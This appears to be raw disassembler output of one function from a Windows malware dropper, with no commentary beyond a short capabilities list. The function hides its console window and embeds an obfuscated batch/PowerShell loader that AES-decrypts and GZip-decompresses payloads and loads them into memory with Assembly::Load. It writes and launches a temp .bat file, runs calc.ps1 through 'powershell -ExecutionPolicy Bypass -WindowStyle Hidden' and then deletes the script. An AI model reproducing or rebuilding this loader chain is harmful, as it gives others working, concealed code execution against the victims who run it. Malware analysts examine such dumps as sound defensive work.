Function at 0x1cb4e15a0
Capabilities:
Delete file
Execute command
Hide graphical window
Set registry value

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1cb4e1a30
mov ecx, 0x192c03
call sub.libstdc_6.dll_operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.title___r_nset__NmGzLo__r_nset__jBztnvo__r_nset__MYmmlect__r_nset__XUZjbyp__r_nset__TleQprof__r_nset__ACUywysTagwnfEISBrqwecho_cls_powershell___r_nset__ELCGhYRzntxETkXksicL_w_hidden_function_d__r_nset__jFsGBZhsmhICUIlOanqxecrypt_function__par__r_nset__HTFGIStUHxzsoFnYtWfiam_var__t_aes_var_S__r_nset__RymgKVJkYijfRFepZLXJystem.Security.Crypt__r_nset__FmLOHqnpunvehiGiGzVNography.Aes_::Create__r_nset__iiVynuAJAXYHYwDENxyu____t_aes_var.Mode_S__r_nset__HuPLMfXJYVJAPkAwrmBnystem.Security.Crypt__r_nset__PEOxoOfLFcuibBfNtjLiography.CipherMode_:__r_nset__xQLFoyROVgmBWlEdGsxY:CBC__t_aes_var.Paddi__r_nset__aleVAAyoeMdhAsPYTjiPng_System.Security.__r_nset__XrQyPTmQWchaMNhlMPeOCryptography.Padding__r_nset__aCJidfaDvGjwjHbJvFgHMode_::PKCS7__t_aes_v__r_nset__nIscFcvMkEmefuPuHHuKar.Key_System.Conve__r_nset__TIvqSKQeMyQhJxArkHDbrt_::FromBase64Strin__r_nset__KnsQtfrPSGbNkvOFmbjUg_6UlpvqBCi1IJx4cp5__r_nset__lqaMNeuITxjaetaFpEWMjOi4gFY1zFri1hoMPEO3__r_nset__sbmfwcWnIVeixIPtnGdpLYdH2A___t_aes_var.__r_nset__KJVuwbJRvipIfxBkeUpLIV_System.Convert_:__r_nset__ihZYsaCvDGrJBHbJgRIv:FromBase64String_K__r_nset__seRzGwdahFptrrgDKWcw_NdUHiFttyu5nknrc_NW__r_nset__zonPRFhyvSdmlUtdpzsWQ___t_decryptor_va__r_nset__XCoYqXsjAyYjOmWeRcIar_aes_var.CreateDec__r_nset__oEFoBdiwYdnlEgyWZozTryptor____t_return_va__r_nset__nXYWTUyYYomnQsHsXZxnr_decryptor_var.Tra__r_nset__PVlxkNFIOZeCCOMrGIuGnsformFinalBlock__pa__r_nset__EjyJRaumyfZaRmdsMBLgram_var__0___param_v__r_nset__pPjYkJKcFqLoFQIFxCFkar.Length___t_decrypt__r_nset__stjIaeLqKuFfWnrPazzhor_var.Dispose____t_a__r_nset__qsGiuKuaExUjVBOWFBYfes_var.Dispose____t_r__r_nset__YtrlLFsrzSFXcyUaMboqeturn_var_function___r_nset__JKMnzvkuzvjyBtjWbuxOdecompress_function___r_nset__rdBLSXhwHNjEmHwnGeLp_param_var__t_CheOc__r_nset__uXRdJgvJpXZsDAYFjbvCNew_Object_System.IO__r_nset__oONMmEmTWVpXJhtumxcL.MemoryStream___para__r_nset__BxhJOQbMJQeFIjbGjfRem_var___t_kgZmDNew_O__r_nset__UCMtIcJvgEtLZJaQHdYvbject_System.IO.Memo__r_nset__DzkgRKozfNkhGYQZKNbLryStream__t_OuIcCNew__r_nset__hFGfxsGZjlZghvAvsGBY_Object_System.IO.Co__r_nset__OjqttmfbTafTcmnYTeJzmpression.GZipStream__r_nset__doqUNeakxvHemdXXpmLl__CheOc___IO.Compres__r_nset__nFfifgdUiBBnXcUzTvFpsion.CompressionMode__r_nset__mUDytbHZopJHtymyjhPH_::Decompress___t_OuI__r_nset__afcVTthjiyeTGvZsbHOdcC.CopyTo__kgZmD___t___r_nset__yeFSSUTzQvpMGYpgSHEZOuIcC.Dispose____t_Ch__r_nset__UxQQlPaYyTxCtLiVzjdZeOc.Dispose____t_kgZm__r_nset__AHtMisnIfSzucOjboPHcD.Dispose____t_kgZmD.__r_nset__UVaWYNtUPtHJEFzmedITToArray___function___r_nset__CrSGtcAEChHKBaeFHwOuexecute_function__pa__r_nset__ZsTMkQPxpXXkgOACctCVram_var__param2_var___r_nset__nOsIMXhDAUEHpnUjxgvD_t_WnCUg_System.Ref__r_nset__ncoEjwENzBCoTShkalan_MYmm_ion.Assembly_::L__r_nset__ImWuspVSTrfWXZIkANypoad__byte____param_v__r_nset__stdYsqOxgKjmgiVagTmUar___t_QPGcB_WnCUg.E__r_nset__BLUiwFqUjXKmMKUoiYcbntryPoint__t_QPGcB.In__r_nset__AyMjiSQPdIeGBDOHzVBMvoke__null___param2___r_nset__ZUnjaWzvnGShRktcZKaEvar___WCGUV___f0__r_nset__PBQBSeLjWnPnwqcGkCjl__host.UI.RawUI.Win__r_nset__svBxPWOqkLHOUXXydMqWdowTitle___WCGUV__v__r_nset__lqyaREKBiMRwBOltZtLVgfyy_System.IO.File__r_nset__puYlFaszsDDylnacWBFl_::ReadAllText__WCGU__r_nset__lnixTkngLDyKauGRrnuRV_.Split__Environmen__r_nset__mliEjtlnOjxxNAKblAsvt_::NewLine__foreach__r_nset__MmOPfTxRGiKJhOYafEoA___Qnyty_in__vgfyy____r_nset__ZZrCfaWAKFFQVZeZwszq_tif___Qnyty.StartsW__r_nset__VtHFyNqYBJVHmRvMUlJeith_qbDXYdtasVPodus__r_nset__WXgaDTOiKZENeYFFsMdsJEPWt___t_t_t_OZyxs___r_nset__KYZbJXEdDsfkIvtYnGbEQnyty.Substring_20____r_nset__ZhoCfiComPtiirtXXfrG_t_tbreak__t_payloads__r_nset__pKErTteJEHsLKysDKxWB_var_string____OZyx__r_nset__uqQNYWcrbwaipvpoCWIMs.Split____payloa__r_nset__eTJFxIyJZQnAiQlZUQtXd1_vardecompress_fu__r_nset__qNIiGkwojdaNPkwBGlqqnction__decrypt_func__r_nset__ysslizZzjpuMCLvrkBYntion___Convert_::Fro__r_nset__lkAVQzLYtKsIAdzXuxZgmBase64String__paylo__r_nset__kXeTJnleOfqemdenSxuIads_var_0_.Replace___r_nset__OagzXLlzlxWNBRcofGlC____.Replace____r_nset__oHjnunwwYlfXcqskRFWY__A_____
mov edx, 0x192c03
mov r8, rdx
mov rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1cb4e1a10
mov dword [rbp + 0x39c], 0
jmp 0x1cb4e169a
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [0x1cb4e36b0]
mov rcx, rax
call fcn.1cb4e1aa0
mov rbx, rax
mov ecx, 2
call fcn.1cb4e36f0
mov edx, eax
mov rcx, rbx
call fcn.1cb4e1a00
mov rbx, rax
mov ecx, 0x30
call fcn.1cb4e3700
mov edx, eax
mov rcx, rbx
call fcn.1cb4e19f8
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call fcn.1cb4e1a98
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x192c02
jle 0x1cb4e1628
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call fcn.1cb4e1ab0
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call fcn.1cb4e3860
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1cb677c91]
mov rcx, rax
call fcn.1cb4e37c0
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1cb4e1a18
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1cb4e1a28
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1cb4e1a28
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call fcn.1cb4e1a78
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call fcn.1cb4e1aa8
test al, al
je 0x1cb4e182d
mov ecx, 0x20
call sub.libstdc_6.dll___cxa_allocate_exception
mov rbx, rax
call fcn.1cb4e1a68
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call fcn.1cb4e34e0
mov r8, qword [0x1cb678060]
lea rax, sym.imp.libstdc_6.dll_operator_delete___void_
mov rdx, rax
mov rcx, rbx
call sub.libstdc_6.dll___cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1cb4e19f0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1cb4e1a80
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rax, str.calc.ps1
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
cmp qword [rbp + 0x390], 0
je 0x1cb4e1883
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sub.libstdc_6.dll_operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1cb4e1a70
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1cb4e1a28
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1cb4e1a08
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1cb4e1a28
jmp 0x1cb4e1950
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret